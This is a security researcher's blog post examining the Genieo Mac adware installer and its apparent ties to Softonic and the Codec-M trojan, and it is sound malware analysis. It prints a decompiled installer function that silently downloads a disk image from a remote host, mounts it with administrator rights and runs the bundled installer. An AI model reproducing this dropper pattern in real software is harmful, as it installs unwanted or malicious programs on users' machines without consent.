More details on Genieo adware

Published May 23rd, 2013 at 4:16 PM EDT , modified May 23rd, 2013 at 4:19 PM EDT

On Tuesday, I posted an article about a potentially malicious Genieo installer. This has resulted in a couple anti-virus companies labeling the Genieo software as a trojan. Intego revealed an interesting discovery, and I’ve also been pursuing some interesting points myself. There are some interesting developments that call into question whether this is just an isolated incident involving one of Genieo’s partners, or a problem with Genieo itself.

Intego posted an update today in which they revealed the discovery of code indicating that Softonic has some involvement with Genieo. Regular readers will remember that I called for a boycott of Softonic last month, due to inclusion of adware in free software downloads that should not have contained it. It’s unclear exactly what the relationship between Softonic and Genieo is, but one thing is for sure: Softonic is listed (as “softonic2”) as a partner on Genieo’s Download Helper page.

I have also been investigating claims that there is a reference to Codec-M in the Genieo installer. Codec-M, aka FkCodec, was an adware trojan that disguised itself as a video codec. It was discovered a little more than a year ago, and I described it at the time in an article titled OSX/FkCodec-A in action. Thus, the idea that there may be a connection between Codec-M and Genieo is quite concerning.

Searching the code in the installer’s executable file does indeed reveal a link to a codecm.dmg file, hosted at download.genieo.com for a partner named “webpic.” Trying to load that link in a web browser results in an odd error message suggesting that the file may require some kind of authentication to retrieve.

Further exploration of the code reveals the function that accesses that string:

function methImpl_UpdaterMacAppDelegate_install3rdPartyAppsForWebpic {
    var_24 = rdi;
    rax = [NSURL URLWithString:@"http://download.genieo.com/partner/webpic/mac_release/live/codecm.dmg"];
    rax = [NSURLRequest requestWithURL:rax cachePolicy:0x0 timeoutInterval:r8];
    r12 = rax;
    var_40 = 0x0;
    var_32 = 0x0;
    rbx = 0x0;
    r14 = &var_32;
    r13 = &var_40;

loc_10000450c:
    var_32 = 0x0;
    rax = [*bind__OBJC_CLASS_$_NSURLConnection sendSynchronousRequest:r12 returningResponse:r13 error:r14];
    if (var_32 != 0x0) goto loc_0x100004558;
    goto loc_100004534;

loc_100004558:
    sleep(0x1e);
    if (rbx + 0x1 != 0x3) goto loc_0x10000450c;

loc_100004613:
    rdx = @"&3rdPartyInstalled_codecm=no";

loc_10000461a:
    rax = [var_24 reportToAnalytics:edx];
    return rax;

loc_100004534:
    rax = [rax writeToFile:@"/tmp/codecm.dmg" atomically:0x1];
    if (rax != 0x0) goto loc_0x10000463a;
    goto loc_100004558;

loc_10000463a:
    rax = [NSArray alloc];
    rdi = rax;
    rax = [rdi initWithObjects:@"mount", @"/tmp/codecm.dmg", @"-mountpoint", @"/Volumes/codecm"];
    rax = [rax autorelease];
    rax = [var_24 runWithArgs:@"/usr/bin/hdiutil" args:rax wait:0x1 asAdmin:0x1];
    if (rax == 0x0) goto loc_0x100004613;
    rax = [var_24 runWithArgs:@"/Volumes/Codec-M Installer/Codec-M Installer.app/Contents/MacOS/Installer" args:0x0 wait:0x1 asAdmin:0x0];
    rbx = rax;
    rax = [r13 alloc];
    rdi = rax;
    rax = [rdi initWithObjects:@"unmount", @"/Volumes/codecm", @"-quiet", 0x0];
    rax = [rax autorelease];
    [var_24 runWithArgs:@"/usr/bin/hdiutil" args:rax wait:0x1 asAdmin:0x1];
    rdx = @"&3rdPartyInstalled_codecm=yes";
    if (rbx != 0x0) goto loc_0x10000461a;
    goto loc_100004613;
}

This is a lot to wade through, but if I’m reading it right, it boils down to downloading that file, mounting the downloaded disk image file and running the installer it contains. (Incidentally, the path listed for the installer executable exactly matches my sample of the installer for the Codec-M trojan.)

Further, it should be noted that this code is found not just in the custom installer for the genTugM partner, but also in the “plain vanilla” installer downloaded directly from the Genieo website. I also found other similar functions for other partners, including one for Qtrax, a digital music service that has had some legal issues, including possible piracy violations. (The Qtrax function installs Microsoft Silverlight and the Qtrax Player app.)

All in all, this is starting to look like Genieo is less a company wronged by its partner, and more a company engaged in some very shady dealings, potentially including the installation of known malware.

Tags: adware, Codec-M, FkCodec, Genieo, scam, trojan